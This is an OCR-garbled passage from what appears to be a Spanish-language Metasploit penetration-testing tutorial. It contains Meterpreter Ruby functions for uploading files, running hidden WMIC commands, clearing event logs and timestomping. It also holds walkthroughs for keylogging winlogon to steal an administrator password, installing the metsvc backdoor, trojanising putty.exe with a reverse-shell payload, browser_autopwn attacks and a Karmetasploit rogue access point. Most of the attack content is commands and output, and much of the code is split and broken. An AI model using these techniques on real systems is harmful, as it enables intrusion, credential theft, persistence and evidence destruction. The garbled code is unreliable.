if not ::File.exists?(file)
raise "File to Upload does not exists!"
else
if trgloc == nil

location = session.fs.file.expand_path("%TE

else
location = trgloc
end
begin
if file =~ /S*(.exe)/i
fileontrgt = "#{location}svh
else
fileontrgt = "#{location}TMP#{r
end
print_status("Uploadingd #{file}....")
session.fs.file.upload_file("#{fileontr
print_status("#{file} uploaded!")
print_status("#{fileontrgt}")
rescue ::Exception => e
print_status("Error uploading file #{fi
end
end
return fileontrgt
end

MP%")

ost#{rand(100)}.exe"

and(100)}"

gt} "#{file}")

le}: #{e.class} #{e}")

Funcion para ejecutar una lista de WMIC comandosw@cenados en una matriz, devuelve cadena:

#.
g

def wmicexec(session,wmiccmds= nil)
windr ="
tmpout ="
windrtmp ="
session.response_timeout=120
begin
tmp = session.fs.file.expand_path("
wmicfl = tmp + "'+ sprintf("%.5d",r
wmiccmds.each do [wmi|
print_status "running comma
cmd = "cmd.exe /c %SYSTEMRO
opt = "/append:#{wmicfl} #{
I = Session.sys.process.exe
sleep(2)
#Making sure that wmic finn
prog2check = "wmic.exe"
found =0
while found ==
session.sys.process
found =1
if prog2che
sle

fou
end
end
end
r.close
end
# Read the output file of the wmic
wmioutfile = session.fs.file.new(wm
until wmioutfile.eof?
tmpout << wmioultfile.read
end
wmioutfile.close
rescue ::Exception => e
print_status("Error running WMIC co
end

%TEMP%")
and(100000))

nd wmic #{wmi}"
OT%system32wbemwmic.exe"
wmi}"

cute( cmd, opt,{'Hidden' => true})

ishes before executing next wmic command

.get_processes().each do |x|

ck == (x['name’].downcase)
ep(0.5)

print_line "."
nd=0

commands
icfl, "rb")

mmands: #{e.class} #{e}")




# We delete the file with the wmic command output.
€ = session.sys.process.execute("cmd.exe /c del #{wmicfl}", nil, {Hidden' => true})
c.close
tmpout
end

Funcion de escritura de datos en archivos:

H —
H

def filewrt(file2wrt, data2wrt)
output = ::File.open(file2wrt, "a")
data2wrt.each_line do |d|
output.puts(d)
end
output.close

end

Funcion para borrar el administrador de sucesos éew logs:)

H
H

def clrevtlgs(session)
evtlogs =
'security’,
'system’,
‘application’,
‘directory service',
'dns server',
'file replication service'

]

print_status("Clearing Event Logs, this will le ave and event 517")
begin
evtlogs.each do |evl|
print_status("tClearing the #{evl} Even t Log")
log = session.sys.eventlog.open(evl)
log.clear
end
print_status("Alll Event Logs have been cle ared")
rescue ::Exception => e
print_status("Error clearing Event Log: #{e .class} #{e}")
end
end

Funcion de Cambio de Tiempo de acceso, modificagyaereacion Tiempo, El Tiempo de archivos Se
suministra en una matriz:

H
H

# The files have to be in %WinDir%System32 folder.
def chmace(session,cmds)
windir ="
windrtmp =
print_status("Changing Access Time, Modified Ti me and Created Time of Files Used")
windir = session.fs.file.expand_path("%WinDir%" )
cmds.each do |c|
begin
session.core.use("priv")
filetostomp = windir + "system32"+ ¢




fl2clone = windir + "system32chkdsk.exe
print_status("tChanging file MACE attri butes on #{filetostomp}")
session.priv.fs.set_file_mace_from_file (filetostomp, fl2clone)

rescue ::Exception => e
print_status("Error changing MACE: #{e. class} #{e}")
end
end
end

11 Mantener el Acceso

Mantener el Acceso

Después de haber realizado en su totalidad la de&parusion, dependiendo el entorno del atacggiena muy buena préactica
poder asegurar el control del acceso a nuestréiabj®ictima”. Esta etapa garantiza que podemadsemoa realizar la intrusion
para poder analizar el objetivo con mucho mas leetai usted esta realizando una Unica explotatiésta accesando a través de
un servicio vulnerado, no podra volver a accedebgtivo hasta que usted no haya configurado wkdor dentro de su
victima u otra técnica que le garantice de nue\aceéso.

Una vez que han obtenido el acceso a un objetiwgeg Ultima instancia de la etapa de intrusiodripo tener acceso a los otros
sistemas que comparten la misma subred. Dar undmltin sistema a otro, obtener informacién sawactividades de los
usuarios mediante el control de sus pulsacionésaledo, y pasar por otros usuarios con datos KEfus, estas son solo algunas

de las técnicas que se describen en este médulo

11.1 Keylogging

Keylogging

Después que se han aprovechado de un sistema hiapfdoues diferentes donde usted puede tomarnaf(Bajo y Lento) 6 la
forma rapida.

Bajo y lento puede conducir a una tonelada de igfanrmacion, si usted tiene la paciencia y la sefite disciplina. Una
herramienta que se puede utilizar para la recapilate informacion bajo y lento es un script de éfgteter, este se utiliza para
poder capturar las teclas pulsadas. Esta herraaméstd muy bien disefiada, Meterpreter permite aptidas las entradas del
teclado del sistema, sin escribir nada en el dide@mndo una huella minima para los investigadimrenses. Perfecto para
obtener contrasefas, cuentas de usuario, y tooldéignformacion valiosa.

Vamos a mirarla en accién. En primer lugar, vameggotar un sistema normal.

T O.0.0.0

d stage...[191 bytes)




Entonces, vamos a migrar el scrip de Meterpreter en el proceso de Explorer.exe, de modo que no tiene que preocuparse por el
proceso de explotacion y el cierre para de nuevo conseguir restablecer la sesion.

meterEreter b=

Process liskt

Path
SIS . EXE Y SystemRoot Systemdl) suss . exe
winlogaon. exe 24 N WINNTY systend \winlogon. exe
Services.exe C:\WINNTY systewdd\services.exe
NWINNT ayatendl) laass. exe
ANWINNT ayatend' avchost. exe
AWINNT ayatendl'zpoalav.exe
NWINNTY Syatend' avchost. exe
NWINNT systendi)regave.exe
AWINNT systendi\M3Task. exe
ZProgram Files'\ VMwareVMware Tools'\VkwareService.exe
PNWINNTY Syatemd 2\ WEEMIinMomt . exe
SWINNTY Syatewd'notepad. exe
SWINNTY Systend’ ond. exe
WINNT Explorer.exe
hZProgram Files\War-ftpd\war-ftpd.exe
hProgram Files)\Vkware'VlMware Tools'\VMwareTray.exe
hProgram Files)\Vkware'VlMware Tools'\VMwareUser.exe
ZProgram Files\Mozilla Firefox'firefox.exe
hZProgram Files)\Vkware'VMware Tools'\TPAutoConnSve.exe
ZProgram Files)\Vkware'VlMware Tools'\TPAutoConnect.exe

lsaszs.exe
gvchost.exe
spoolsv.exe
gvchost.exe
regsve . exe
M3Task.exe
ViwareService. exe
WinMopt . exe
notepad.exe
cid. exe
Explorer.exe
war-ftpd. exe
VihwareTray. exe
Viaarelser.exe
firefox.exe
TPAutoConn2ve . exe
1088 TPAutoConnect.exe

Lo S S S e S e S e S S S S S S = S = S = S = S = S

meterpreter >
Migrating to 7EB...

Migration cowpleted suecessfully.

meterpreter >
Current pid: TEH

Por ultimo, se inicia el keylogger, donde tenemos que esperar un tiempo para realizar el Dump de la informacién obtenida.

No podria ser mas facil!, Observe cédmo se reprasdas pulsaciones de teclado.

meterpreter >
Starting the keystroke sniffer...

meterEreter b

Dumping captured keystrokes...

Como un bono adicional, si desea capturar la irdorém de login del sistema s6lo se desplazariat@groceso Winlogon. Esto
podria capturar las credenciales de todos los iasuaiciar sesion en el sistema mientras esteegstecucion.

meterpreter >

Process list

401 winlogon.exe C:\WINNT.\system3Zhwinlogon.exe

meterpreter >

Migrating to 401...
Migration completed successfully.

meterpreter >
Starting the keystroke sniffer...

*+++ B few minutes later after an admin logs in *4**

meterpreter >
Dumping captured keystrokes. ..




Aqui podemos ver el proceso de Winlogon donde rosipe de manera efectiva obtener la informacion de
todos los usuarios de inicio de sesion en el sstewmprometido. Hemos capturado el inicio de Sedehn
Administrador identificado con la siguiente conéf@s: ‘'ohnoeslvebeenh4x0red! ".

11.2 Servicio de Meterpreter "Backdoor"

ESCRIBIENDO TU PROPIO SCANNER

Después de pasar por todo el trabajo duro de latexjgon de un sistema, a menudo es una buenadtiegy luego volver a
ingresar al sistema de una manera mas facil. Renesihera si el servicio que usabamos esta inaztparchado, todavia puede
ganar acceso al sistema. Aqui es donde 'Alexaratgnp® metsvoviene muy bien y se afiadié recientemente a lodutgé del
Metasploit. Para leer acerca de la aplicacion waigile metsve, vayatatp://www.phreedom.org/software/metsvc/

El uso de este backdoor, puede obtener una shédirpeter en cualquier momento.

Una palabra de advertencia antes de que vayamoejogisMetsvc como se muestra aqui no requieensaacion. Esto
significa que cualquier persona que obtiene acakgoerto podrian tener acceso a su Back-Door! itstes una buena cosa si
usted esta llevando a cabo una prueba de penetrgeigue esto podria ser un riesgo significatirouna situacién real, ya sea
gue alteraria la fuente para requerir autenticacdiitrar las conexiones remotas en el puert@eés de algun otro método.

En primer lugar, aprovechar el sistema remoto yranig la «proceso Explorer.exe" en caso de qusugrio se dé cuenta del
servicio de explotacion no responde y decide acadragl.

msf exploit(3proxy) > exploit
[*] Started reverse handler
[*] Trying target Windows XP SP2 - English...
[*] Sending stage (719360 bytes)
[*] Meterpreter session 1 opened (192.168.1.101:444 4 ->192.168.1.104:1983)
meterpreter > ps
Process list
PID Name Path
132 ctfmon.exe C:\WINDOWS\system32\ ctfmon.exe
176 svchost.exe C:\WINDOWS\system32\ svchost.exe
440 VMwareService.exe C:\Program Files\VMw are\VMware Tools\VMwareService.exe
632 Explorer.EXE C:\WINDOWS\EXxplorer. EXE
796 smss.exe \SystemRoot\System32 \smss.exe
836 VMwareTray.exe C:\Program Files\VMw are\VMware Tools\VMwareTray.exe
844 VMwareUser.exe C:\Program Files\VMw are\VMware Tools\VMwareUser.exe
884 csrss.exe \??2\C:\WINDOWS\syste m32\csrss.exe
908 winlogon.exe \?2\C:\WINDOWS\syste m32\winlogon.exe
952 services.exe C:\WINDOWS\system32\ services.exe
964 Isass.exe C:\WINDOWS\system32\ Isass.exe
1120 vmacthlp.exe C:\Program Files\VMw are\VMware Tools\vmacthlp.exe
1136 svchost.exe C:\WINDOWS\system32\ svchost.exe
1236 svchost.exe C:\WINDOWS\system32\ svchost.exe
1560 alg.exe C:\WINDOWS\System32\ alg.exe
1568 WZCSLDR2.exe C:\Program Files\ANI \ANIWZCS2 Service\WZCSLDR2.exe
1596 jusched.exe C:\Program Files\Jav a\jre6\bin\jusched.exe
1656 msmsgs.exe C:\Program Files\Mes senger\imsmsgs.exe
1748 spoolsv.exe C:\WINDOWS\system32\ spoolsv.exe
1928 jgs.exe C:\Program Files\Jav a\jre6\bin\jgs.exe
2028 snmp.exe C:\WINDOWS\System32\ snmp.exe
2840 3proxy.exe C:\3proxy\bin\3proxy .exe
3000 mmc.exe C:\WINDOWS\system32\ mmc.exe
meterpreter > migrate 632
[*] Migrating to 632...
[*] Migration completed successfully.




Antes de instalar metsvc, vamos a ver qué opciesigs disponibles para nosotros.

meterpreter > run metsvc -h

[']

OPTIONS:
-A Automatically start a matching multi/ handler to connect to the service
-h This help menu
-r Uninstall an existing Meterpreter ser vice (files must be deleted
manually)

meterpreter >

Desde ya estamos conectados a través de una sesion Meterpreter, no vamos a configurarlo para que se conecte de nuevo a
nosotros de inmediato. Tendremos instalar el servicio por ahora.

[*] Creating a meterpreter service on port 31337

[*] Creating a temporary installation directory
C:\DOCUME~1\victim\LOCALS~1\Temp\JpITpVnksh...
[*] >> Uploading metsrv.dll...

[*] >> Uploading metsvc-server.exe...

[*] >> Uploading metsvc.exe...

[*¥] Starting the service...

[*]  * Installing service metsvc

* Starting service

Service metsvc successfully installed.

meterpreter >

Y alla vamos! El servicio ya esta instalado a |zeea de una conexién. No hay que mantenerlo caecta
con larga espera?

11.2.1 Interactuar con Metsvc

Interactuar con Metsvc

Ahora vamos a utilizar el multi’/handler con un Bag "windows / metsvc_bind_tcp ' para conectarhos a
sistema remoto “victima”. Este es un Payload esphegd que normalmente un Meterpreter payload tiene
varias etapas, enviamos una minima cantidad dgaogiuego se ejecuta el Payload que viene en la
ejecucion de este cédigo enviado.

Piense en un lanzador de cohetes “shuttle rockdéts cohetes de refuerzo que se utilizan paranebie
transbordador espacial en orbita. Esto es lo misxaepto que, en lugar de de estar ahi para cluesteo
caiga, vamos a poderlo visualizar desde afueragiditer comienza por lo mas pequefio y a contiGoaci
se carga. Sin embargo, el codigo de Meterpreteplaimya se ha cargado en la maquina remota, @yo h
necesidad de una conexion por etapas.

Ya que hemos establecido todas nuestras opcioregetiyc_bind_tcp' con la direccion IP de la vietiyn
el puerto, ahora queremos tener el servicio paizatdo desde nuestra maquina. A continuacion, tgezu
exploit.



wsf =

msf exploit] [

PAYLOAD => windows/metsve hind tep
msf exploit] (2

LEORT == 31337

msf exploit] [

RHOST == 192.1658.1.104

msf exploit| |-

Module options:

Name Current Zetting Reguired Description

Payload options (windows/metsve hind tep):

Harme Current Setting Reguired Description

EXITFUNC thread Exit technigue: seh, thread, process
LPORT 31337 The local port
RHOST 192 .168.1.104 The target address

Exploit target:
Id  Neme

0 Wildeard Target

msf exploit]

Inmediatamente después de la marcha de 'explotacidn’, nuestro Backdoor metsvc se conecta de nuevo con nosotros.

SJtarting the payload handler...
Started bind handler
Meterpreter session 2 opened (192.168.1.101:80840 -»> 193.168.1.104:21337)

meterpreter >

Process list

Path
SmsSs.exe Y SystemRoot System3llsmss.exe
CSrss.exe Y224 CAWINNT system3ltcsrss. exe
winlogon. exe 422N CIWINNT system3 2 iminlogon. exe
services.exe C:WWINNTY system3Zservices.exe
lsass.exe CIMNWINNTY system3lh lsass . exe
svohost.exe C:NWINNTY system32h svechost . exe
4083 spoolsv.exe CNWINNTY system3Zlspoolsy. exe
444 svohost.exe CiNWINNT, System32hsvochost . exe
420 regsve. exe CrNWINNTY systemihregsve . exe
500 M3Task.exe CNWINNTY systen3dZ W\ M3 Task. exe
528 VMwareService.exe C:YFrogram FileshVMware'VMware ToolshVMwareService.exe
564 metsve.exe c YWINNT myhmetsve . exe
588 WinMoot . exe CNWINNTY System? 2 W WEEMY WinMomt: .
676 crd . exe CHMNWINNTY System3ddtcmd. exe
724 cind . exe CrYWINNTY System3 2 cmd . exe
764 e . exe CrMNWINNTY systemd 2 e . exe
316 metsvo-server.exe ol AZWINNThmy\mwetswvo-server.exe
288 VMnareTray.exe C:YProgram FileshVMware)Viware Tools)ViwareTray.exe
896 VMwarelser . exe C:\Program Files'VMwarelVMuare ToolshVMwarelUser.exe
940 firefox.exe C:hProgram Files'\Mozilla Firefoxhfirefox.exe
a7z TPAutoConnSve.exe C:%\Program FileshVMware)VMware Tools)TPAutoConnSwve.exe
1000 Explorer.exe CiANWINNTYExplorer.exe
1088 TPAukboConnect.exe C:4ZProgrsm Files'VhhearehViheare ToolshTPAutoConnect.sxe

meterpreter >
CrANWINDOWSY systemd 2

meterpreter >
Server usernsme: NT AUTHORITY'IYSTEM

meterpreter >




Y aqui tenemos una sesion tipica de Meterpreter!

Una vez mas, tenga cuidado Cuando y Cémo utiligi@r teuco. Los Administradores de sistemas nod&sfatices cuando usted
haya dejado el trabajo mas facil para los atacahéesendo que el Backdoor en el sistema seaarti ellos.

12 MSF Uso Extendido

MSF Uso Extendido

El Metasploit Framework es un activo versatil edeckit de herramientas de los "pentesters”, narggina sorpresa que esta
siendo ampliado constantemente. Debido a la apedirFramework, las nuevas tecnologias y los é@sple superficie que son
incorporados rapidamente en el "tronco" de svn &M los usuarios finales pueden escribir susipsapddulos y compartirlos
en la forma méas conveniente.

Estaremos hablando de: el navegador Autopwn, Kasspétdit, y objetivos Mac OS X.

12.1 Backdooring EXE files

Backdooring EXE files

Una de las ultimas caracteristicas adiciones agesga Metasploit fue la capacidad de integrar yiopd de Metasploit en
cualquier ejecutable que desea, es sencillameitiente. Cuando digo que cualquier ejecutable usdquier ejecutable. ¢ Usted
quiere algo de un “backdoor” que se descarga éenet? ;Qué hay de IExplorer? O explorer.exe g,mualquiera de estos iba
a funcionar. Gran parte de esto es extremadamiempées Aqui hay una linea sobre la forma de tonatquier ejecutable que
desea integrar y cualquiera que sea el “payload’disea utilizar.

relik@fortress:/pentest/exploits/framework3# ./msfp ayload windows/meterpreter/reverse_tcp LHOST=10.10. 1.132 LPORT=8080 R | ./msfencode -t exe -x
/tmp/putty.exe -o /tmp/putty_backdoored.exe -e x86/ shikata_ga_nai-c 5

[*] x86/shikata_ga_nai succeeded with size 927 (ite ration=1)

[*] x86/shikata_ga_nai succeeded with size 1023 (it eration=2)

[*] x86/shikata_ga_nai succeeded with size 1093(it eration=3)

[*] x86/shikata_ga_nai succeeded with size 1193 (it eration=4)

[*] x86/shikata_ga_nai succeeded with size 1248 (it eration=5)

relik@fortress:/pentest/exploits/framework3# ./msfc li exploit/multi/handler payload=shikata_ga_nai lho st=10.10.1.231 Iport=8080

payload=windows/meterpreter/reverse_tcp E
[*] Please wait while we load the module tree...
[*] Started reverse handler on port 8080

[*] Starting the payload handler...

Ahora haga clic en putty.exe y tenga su “listener” levantado, tienes ahora tu primer backdoored primer ejecutable y a disfrutar
de su shell meterpreter.

12.2 Browser Autopwn

Browser Autopwn

En DefCon 17, desarrolladores de Metasploit de tBgipesenté un navegador Autopwn para MSF. Estecnodulo realiza
una emocionante navegacion y toma “fingerprintingyses de lanzar exploits de la victima. Por léotasi el PC remoto esta
usando Internet Explorer 6, no se pondra en mdackgplotacion de IE7 en ella. El paquete de “sliddiapositivas) para la
presentacion de Egipto esta disponible para septila lectura emnttp://defcon.org/images/defcon-17/dc-17-
presentations/defcon-17-egypt-quided missiles_pktipdf.

La instalacion para el médulo 'server/browser_amtogs muy simple como se muestra below.como

msf > use server/browser_autopwn
msf auxiliary(browser_autopwn) > show options

Module options:




Name Current Setting Required Description

LHOST 192.168.1.101 yes The IP addre ss to use for reverse-connect payloads
SRVHOST 0.0.0.0 yes The local ho st to listen on.

SRVPORT 8080 yes The local po rt to listen on.

SSL  false no Use SSL

URIPATH no The URItou se for this exploit (default is random)

msf auxiliary(browser_autopwn) > set uripath /
uripath =>/
msf auxiliary(browser_autopwn) >

Eso es realmente todo lo que hay a la configuragduerida. Ahora vamos a correrlo y ver lo queshac

msf auxiliary(browser_autopwn) > run
[*] Auxiliary module running as background job
msf auxiliary(browser_autopwn) >

[*] Starting exploit modules on host 192.168.1.101.

¥

...snip...

[*] Starting exploit multi/browser/firefox_escape_r etval with payload generic/shell_reverse_tcp
[*] Handler binding to LHOST 0.0.0.0

[*] Started reverse handler
[*] Using URL: http://0.0.0.0:8080/zCtg70C

[*] Local IP: http://192.168.1.101:8080/zCtg70C
[*] Server started.
[*] Starting exploit multi/browser/mozilla_comparet o with payload generic/shell_reverse_tcp

[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Using URL: http://0.0.0.0:8080/VTNGJx

[*] Local IP: http://192.168.1.101:8080/VTNGJx
[*] Server started.
[*] Starting exploit multi/browser/mozilla_navigato rjava with payload generic/shell_reverse_tcp

[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Using URL: http://0.0.0.0:8080/abmR33jxStsF7

[*] Local IP: http://192.168.1.101:8080/abmR33jxStsF7
[*] Server started.
[*] Starting exploit multi/browser/opera_configover write with payload generic/shell_reverse_tcp

[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler

...snip...

[*] Started reverse handler

[*] Using URL: http://0.0.0.0:8080/RdDDhKANpV

[*] Local IP: http://192.168.1.101:8080/RdDDhKANpV

[*] Server started.

[*] --- Done, found 11 exploit modules

[*] Using URL: http://0.0.0.0:8080/

[*] Local IP: http://192.168.1.101:8080/

[*] Server started.

Now all we need to do is get some poor victim to na vigate to our malicious website and when they do, B rowser Autopwn will target their browser
based

on its version.

[*] Request /' from 192.168.1.128:1767

[*] Request '/?sessid=V2luzG93czpYUDplbmRIZmIuZWQ6Z W4tdXM6eDg20k1TSUUBENi4wO1NQMjo="from 192.168.1.128 11767
[*] JavaScript Report: Windows:XP:undefined:en-us:x 86:MSIE:6.0;SP2:

[*] No database, using targetcache instead

[*] Responding with exploits

[*] Sending Internet Explorer COM CreateObject Code Execution exploit HTML to 192.168.1.128:1774...
[*] Sending Internet Explorer Daxctle.OCX KeyFrame Method Heap Buffer Overflow Vulnerability to 192.16 8.1.128:1775...
[*] Sending Microsoft Internet Explorer Data Bindin g Memory Corruption init HTML to 192.168.1.128:1774

[*] Sending EXE payload to 192.168.1.128:1775...

[*] Sending stage (718336 bytes)

[*] Meterpreter session 1 opened (192.168.1.101:623 60 ->192.168.1.128:1798)
msf auxiliary(browser_autopwn) > sessions -|

Active sessions

Id Description Tunnel

1 Meterpreter 192.168.1.101:62360 -> 192.168.1 .128:1798

msf auxiliary(browser_autopwn) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo

Computer: XP-SP2-BARE

OS  : Windows XP (Build 2600, Service Pack 2).
meterpreter > ipconfig

MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address :127.0.0.1

Netmask :255.0.0.0

AMD PCNET Family PCI Ethernet Adapter - Packet Sche duler Miniport
Hardware MAC: 00:0c:29:41:f2:e8

IP Address :192.168.1.128

Netmask :255.255.0.0

meterpreter >




Una operacidon muy astuta! Y no sélo se limita a Internet Explorer. Inclusive Firefox podria ser abusado.

[*] Request '/ from 192.168.1.112:1122

[*] Request '/?sessid=V2IuZG93czpYUDplbmRIZmIuzZWQ6Z nltRII6eDg20kZpcmVmb3g6MTo="' from 192.168.1.112:112 2
[¥] JavaScript Report: Windows:XP:undefined:fr-FR:x 86:Firefox:1:

[*] No database, using targetcache instead

[*] Responding with exploits

[*] Request '/favicon.ico' from 192.168.1.112:1123

[*¥] 404ing /favicon.ico

[*] Sending Mozilla Suite/Firefox InstallVersion->c ompareTo() Code Execution to 192.168.1.112:1124...
[*] Sending Mozilla Suite/Firefox Navigator Object Code Execution t0 192.168.1.112:1125...

[*¥] Sending Firefox 3.5 escape() Return Value Memor y Corruption to 192.168.1.112:1123...

[*] Sending Mozilla Suite/Firefox InstallVersion->c ompareTo() Code Execution to 192.168.1.112:1125...
[*] Command shell session 3 opened (192.168.1.101:5 6443 ->192.168.1.112:1126)

msf auxiliary(browser_autopwn) > sessions -i 3
[*] Starting interaction with 3...

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Program Files\Mozilla Firefox>hostname
hostname
dookie-fal54354

C:\Program Files\Mozilla Firefox>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . : dookie

IP Address. . ..........:192.168 1112
SubnetMask . ..........:255.255 .0.0
Default Gateway . . .......:192.168 1.1

C:\Program Files\Mozilla Firefox>

12.3 Karmetasploit

Karmetasploit

Karmetasploit es una gran funcién dentro de Metdisiib que le permite a los falsos puntos de azcapturar contrasefias,
datos, y llevar a cabo ataques contra el navegialtms clientes.

Hay algunas configuraciones necesarias para tesendtasploit funcionando adecuadamente. El primgo ps obtener el
control de ejecucion de archivo para Karmetasploit:

12.3.1Configuration

Configuration

Hay algunas configuraciones necesarias para tesmendtasploit funcionando adecuadamente. El primso ps obtener el
control de ejecucion de archivo para Karmetasploit:

root@bt4:/pentest/exploits/framework3# wget " http://metasploit.com/users/hdm/tools/karma.rc
--2009-05-04 18:43:26-- http://metasploit.com/users/hdm/tools/karma.rc

Resolving metasploit.com... 66.240.213.81

Connecting to metasploit.com|66.240.213.81|:80... ¢ onnected.

HTTP request sent, awaiting response... 200 OK
Length: 1088 (1.1K) [text/plain]
Saving to: “karma.rc'




100%] 571,088 K s in0s

2009-05-04 18:43:27 (88.7 MB/s) - ‘karma.rc' saved [1088/1088]

Después de haber obtenido ese requisito, es necesario crear la infraestructura que se requiere. Cuando los clientes se conectan
al AP falso se espera que se le asigne una direccion IP. Como tal, tenemos que poner un servidor DHCP en su lugar. Vamos a
configurar nuestro archivo"dhcpd.conf.

root@bt4:/pentest/exploits/framework3# cat /etc/dhc p3/dhcpd.conf
option domain-name-servers 10.0.0.1;

default-lease-time 60;
max-lease-time 72;

ddns-update-style none;

authoritative;

log-facility local7;

subnet 10.0.0.0 netmask 255.255.255.0 {
range 10.0.0.100 10.0.0.254;

option routers 10.0.0.1;
option domain-name-servers 10.0.0.1;

}

Luego tenemos que instalar algunos requisitos.

Successfully installed activerecord-2.3.2

Building native extensions. This could take a whil e...
Successfully installed sqlite3-ruby-1.2.4

2 gems installed

Installing ri documentation for activerecord-2.3.2.

Installing ri documentation for sqlite3-ruby-1.2.4. .
Installing RDoc documentation for activerecord-2.3. 2.
Installing RDoc documentation for sqlite3-ruby-1.2. 4...

Ahora estamos listos para ir. En primer lugar, debemos reiniciar nuestro adaptador inaldambrico en modo monitor. Para ello,
primero detener la interfaz, y luego use airmon-ng para reiniciar en modo monitor. Entonces, nosotros utilizamos la base
airbase-ng para iniciar una nueva red.

root@bt4:~# airmon-ng

Interface  Chipset Driver

wifi0 Atheros madwifi-ng
athO Atheros madwifi-ng VAP (parent: wifi0)

root@bt4:~# airmon-ng stop athO

Interface  Chipset Driver

wifi0 Atheros madwifi-ng
athO Atheros madwifi-ng VAP (parent: wifi0) (VAP destroyed)
root@bt4:~# ifconfig atO up 10.0.0.1 netmask 255.25 5.255.0

root@bt4:~# dhcpd3 -cf /etc/dhcp3/dhcpd.conf atO

Internet Systems Consortium DHCP Server V3.1.1
Copyright 2004-2008 Internet Systems Consortium.

All rights reserved.

For info, please visit http://www.isc.org/sw/dhcp/
Wrote 0 leases to leases file.

Listening on LPF/at0/00:1a:4d:49:0b:26/10.0.0/24

Sending on LPF/at0/00:1a:4d:49:0b:26/10.0.0/24




Sending on Socket/fallback/fallback-net

Can't create PID file /var/run/dhcpd.pid: Permissio
root@bt4:~# ps aux | grep dhcpd

dhcpd 6490 0.0 0.1 3812 18407 Ss
root 6493 0.0 0.0 3232 788 pts/0 S+
root@bt4:~# airmon-ng start wifi0

Found 3 processes that could cause trouble.

If airodump-ng, aireplay-ng or airtun-ng stops work
a short period of time, you may want to kill (some
-e

PID Name

5636 NetworkManager

5641 wpa_supplicant

5748 dhclient3

Interface  Chipset Driver

wifi0 Atheros madwifi-ngError for wir
SET failed on device athO ; No such device.
athO: ERROR while getting interface flags: No such

athl Atheros madwifi-ng VAP (parent:

root@bt4:~# airbase-ng -P -C 30 -e "U R PWND" -v at
For information, no action required: Using gettimeo
22:52:25 Created tap interface atO

22:52:25 Trying to set MTU on at0 to 1500

22:52:25 Trying to set MTU on ath1 to 1800

22:52:25 Access Point with BSSID 00:1A:4D:49:0B:26

n denied.

22:55 0:00 dhcpd3 -cf /etc/dhcp3/dhepd.conf at0
22:55 0:00 grep dhcpd

ing after
of) them!

eless request "Set Frequency" (8B04) :
device
wifi0)

h1
fday() instead of /dev/rtc

started.

Airbase-ng ha creado una nueva interfaz para nosotros, at0. Esta es la interfaz de ahora vamos a utilizar. Ahora vamos a asignar

una direccion IP a nosotros mismos y poner en marcha nuestro servidor DHCP escuchando en nuestra nueva interfaz.

root@bt4:~# ifconfig at0 up 10.0.0.1 netmask 255.25
root@bt4:~# dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0
Internet Systems Consortium DHCP Server V3.1.1
Copyright 2004-2008 Internet Systems Consortium.
All rights reserved.

For info, please visit http://www.isc.org/sw/dhcp/

Wrote 0 leases to leases file.

Listening on LPF/at0/00:1a:4d:49:0b:26/10.0.0/24
Sending on LPF/at0/00:1a:4d:49:0b:26/10.0.0/24
Sending on Socket/fallback/fallback-net

Can't create PID file /var/run/dhcpd.pid: Permissio
root@bt4:~# ps aux | grep dhcpd

dhcpd 6490 0.0 0.1 3812 18407 Ss
root 6493 0.0 0.0 3232 788 pts/0 S+

5.255.0

n denied.

22:55 0:00 dhcpd3 -cf /etc/dhcp3/dhcpd.conf atO
22:55 0:00 grep dhcpd

12.3.2 Karmetasploit in Action

Karmetasploit in Action

Ahora, con todo listo, todo lo que queda es ejedtaametasploit! Ponemos en marcha Metasploit, etiitindolo archivo de

nuestro control de ejecucion.

root@bt4:~# cd /pentest/exploits/framework3/

root@bt4:/pentest/exploits/framework3# ./msfconsole

I o
B T R
N A O I Vi Ty A Oy
| 1A NN N
/l

-r karma.rc




=[ metasploit v3.3-rc1 [core:3.3 api:1.0]
+ -- --=[ 372 exploits - 234 payloads

+ -- --=[ 20 encoders - 7 nops
=[ 149 aux
resource> load db_sqlite3
[-]
[-] The functionality previously provided by this p lugin has been
[-] integrated into the core command set. Use the new 'db_driver'
[-] command to use a database driver other than sql ite3 (which
[-] is now the default). All of the old commands a re the same.
[-]
[-] Failed to load plugin from /pentest/exploits/fr amework3/plugins/db_sqlite3:

Deprecated plugin

resource> db_create /root/karma.db

[*] Creating a new database instance...

[*] Successfully connected to the database

[*] File: /root/karma.db

resource> use auxiliary/server/browser_autopwn
resource> setg AUTOPWN_HOST 10.0.0.1
AUTOPWN_HOST =>10.0.0.1

resource> setg AUTOPWN_PORT 55550
AUTOPWN_PORT => 55550

resource> setg AUTOPWN_URI /ads
AUTOPWN_URI => /ads

resource> set LHOST 10.0.0.1

...Snip...

[*] Using URL: http://0.0.0.0:55550/hzr8QG95C
[*] Local IP: http://192.168.2.2:55550/hzr8QG95C
[*] Server started.

[*] Handler binding to LHOST 0.0.0.0

[*] Started reverse handler

[*¥] Server started.

[*] Handler binding to LHOST 0.0.0.0

[*] Started reverse handler

[*¥] Server started.

msf auxiliary(http) >

En este punto, estamos en marcha. Todo lo quesere ahora es que un cliente se conecte a us acce
point falso. Cuando se conectan, veran una faksptie portal” en pantalla de estilo independieiat® al
sitio web que intenta conectarse. Usted puede través de su salida, y ver que un gran numero de
diferentes servidores se han iniciado. De DNS, RQ®AP, HTTP a varios servidores, tenemos una anpli
red ahora se lanza a la captura de varios bitsfdemacion.

Ahora vamos a ver qué pasa cuando un cliente ®£tzoal AP falsos que hemos establecido.

msf auxiliary(http) >
[*] DNS 10.0.0.100:1276 XID 87 (IN::A www.msn.com)
[*] DNS 10.0.0.100:1276 XID 87 (IN::A www.msn.com)

[*] HTTP REQUEST 10.0.0.100 > www.msn.com:80 GET / Windows IE 5.01 cookies=MC1=V=3&
GUID=e2eabc69be554e3587acce84901a53d3; MUID=E7E0657 76DBC40099851B16A38DB8275; mh=MSFT;
CULTURE=EN-US; zip=z:68101|la:41.26|l0:-96.013|c:US |hr:1; FlightGroupld=14; Flightid=BasePage;
hpsvr=M:5|F:5|T:5|E:5|D:blu|W:F; hpcli=W.H|L.|S.|R. |U.L|C.|H.; ushpwea=wc:USNE0363; wpv=2
